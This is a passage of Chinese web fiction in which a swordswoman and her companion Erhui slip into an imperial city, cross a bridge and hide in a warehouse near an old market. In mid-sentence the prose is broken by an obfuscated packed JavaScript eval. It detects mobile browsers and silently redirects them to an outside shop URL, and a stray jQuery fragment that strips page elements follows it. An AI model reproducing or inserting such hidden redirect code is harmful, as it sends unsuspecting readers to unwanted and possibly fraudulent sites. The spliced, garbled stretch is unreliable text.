天亮之前她醒了。
晨光还没从地平线边缘透出来，但天顶的颜色已经从墨蓝退成了浅灰，像一张被反复漂洗过的旧布在慢慢变干。她翻了个身，耳灰已经蹲在帐篷口了，面朝南，影子被尚未升起的太阳拉成一道没有重量的窄线，投在身侧的地面上，像一枚被仔细摆好位置的指针。她站起来抖了抖草屑，把剑背好，短刀和铁棍的绑位检查了一遍——铁棍紧挨着短刀右侧，剑身与脊柱平行，斗笠、披风、布包，都在它们应该在的位置。
路上没有交谈。路面在清晨的静默中舒展成浅灰色的窄带，两侧的田野正在被露水浸润，麦苗尖上挂着细密的水珠。她走在他身后，每一步落在前一天踩出的脚印上，脚印的深度和位置与昨天相比几乎没有变化。空气比之前重了一些，夹杂着从南面来的炊烟和干土气息，还有某种更细微的东西——像灰烬冷却后残留的余温，像一块被反复踩实的泥地在清晨重新缓慢地松开，像一层被露水浸透的布料在风里慢慢变重。石子和草茎在她脚边轻轻移位，每一次声音都迅速被晨风抹平。
太阳从东面升起来，城门在日光里终于显现。墙比他记忆里的更高，也比她想象中更厚重，底部条石被无数脚步踩得光滑而微凹，缝隙处填着细密的灰浆，表面覆着一层薄薄的青苔。城门敞着，有挑担的、赶驴的、背布包的，都在往里走，没有停顿，秩序在移动，没有人在门洞前停下来被查问。她蹲在路边看了一会儿，确认了进城的方式——不是靠躲，是靠混。她站起来把斗笠往下压了半指，混进了进城的人流里，像一滴水顺着沟渠流进河道。
人群收紧。她夹在两个挑菜筐的农人之间，筐沿挡住她身侧的光线，脚步声被两侧的节奏盖住了。门洞里的光线比外面暗了约三成，石壁的温度更低，两侧墙面上残留着旧年的油渍和炭痕，像一面被火烧过又擦掉的旧墙，留下的印记并没有被完全抹掉。前方没有停顿，没有人转身朝她多看。她的耳朵在斗笠下面微微朝两侧转了一下，收拢了周围的声音频率，没有异常的指向。然后她从门洞的另一端走出来了。
皇城。街道比长城墙根底下的任何一条路都宽，路面铺着大小相近的碎石，踩上去比土路更硬，脚步落地的声音更脆，像干燥的木头相互碰触。街两旁的铺子一间挨着一间，门板卸下来靠墙放着，露出里面堆叠的货物和坐在柜台后面的人影。她边走边调整步伐的节奏——先是侧身避开一个挑着两桶水的女人，然后在一个摆摊卖菜的摊子前放慢脚步，让自己看起来像是停下来看了一眼菜价。偶尔有人在经过时侧头看她一眼——可能是因为剑，也可能是因为斗笠的边沿比其他人的帽子更宽——但目光在她身上停留的时间很短，像一枚落叶在水面上打了个旋就被水流带走了。
她照着他说的那样数街口：第一个街口是在一家染布坊的蓝色门帘处经过了，第二个街口在一片摆满铁器的摊位前经过了，第三个街口——石桥。桥是旧石砌的，拱形，桥面铺着方砖，砖缝里长着干枯的草。桥下有阴影，侧面的台阶比她预想中宽，向下延伸约一人深，桥洞的底部积着浅浅的干土，像被风吹进来的灰尘铺了一层。
她沿台阶走下来。桥洞底部的光线被两侧的桥墩和拱面层层削弱，头顶的桥面上偶尔有脚步经过，脚步声被石壁压成低沉的、不辨方向的震颤，像有人在一面鼓的内侧敲打，声音沉而闷，没有明确的指向。她在台阶底端蹲下，桥洞另一侧的光线尽头是一个出口，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932385|213644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台阶在另一端重新升起通向地面。她蹲了一会儿，确认没有脚步声跟在她后面进来，也没有人在台阶上方停留，然后站起来沿台阶走上去。
出了桥洞之后，路面稍微窄了一些，但两侧的铺子更密了，布匹和干货的摊位一直沿街排列，几个摊主在互相交谈。她慢慢走过摊位之间的间隙，目光扫过摊面但不停留，像在看品种而不是在找路。她走过了几个摊位，直到街道的尽头处出现了一片比之前更开阔的空地。旧市场到了——入口是一个低矮的石门，门框上方的石匾被风化得看不清字迹，两侧的墙根下蹲着一些人在交易或休息。她沿着市场的边缘走了一段，在一处有阴影的墙角停下来蹲着。
大约一炷香之后，一个灰色的小影子从市场的另一端穿过来。耳灰在她旁边蹲下来，领口的悬木坠子已经被布条缠了一层，遮住了光泽和轮廓，不再从领口突出来。他蹲着看了一圈周围的摊位和人流：“都没事？”她点头。他从怀里掏出一个布包：“食水。路西有个空仓房，可以住几天。”她接过布包的时候他压低了声音说：“市场里的人不问来处，只要你不在里面惹事。”她跟着他穿过市场西侧一条窄巷，巷子尽头有一间半塌的旧仓房，屋顶还在，门能用，墙角有一堆旧干草，像是很久以前被人堆的，已经压成扁平的形状。
她蹲在仓房门口看着外面市场上来往的人影，远不如她预想中那样充满威胁。他们各自在走各自的路，没有人刻意停下来看仓房的方向。她往后靠了靠，背抵着墙，让目光从狭窄的门缝里向外扩开——市场像一张被反复涂抹的旧画，每一层都覆盖着前一层的一部分，清晰与模糊之间的界限一直都在移动。她还不知道自己会在这张画里留下哪一种痕迹。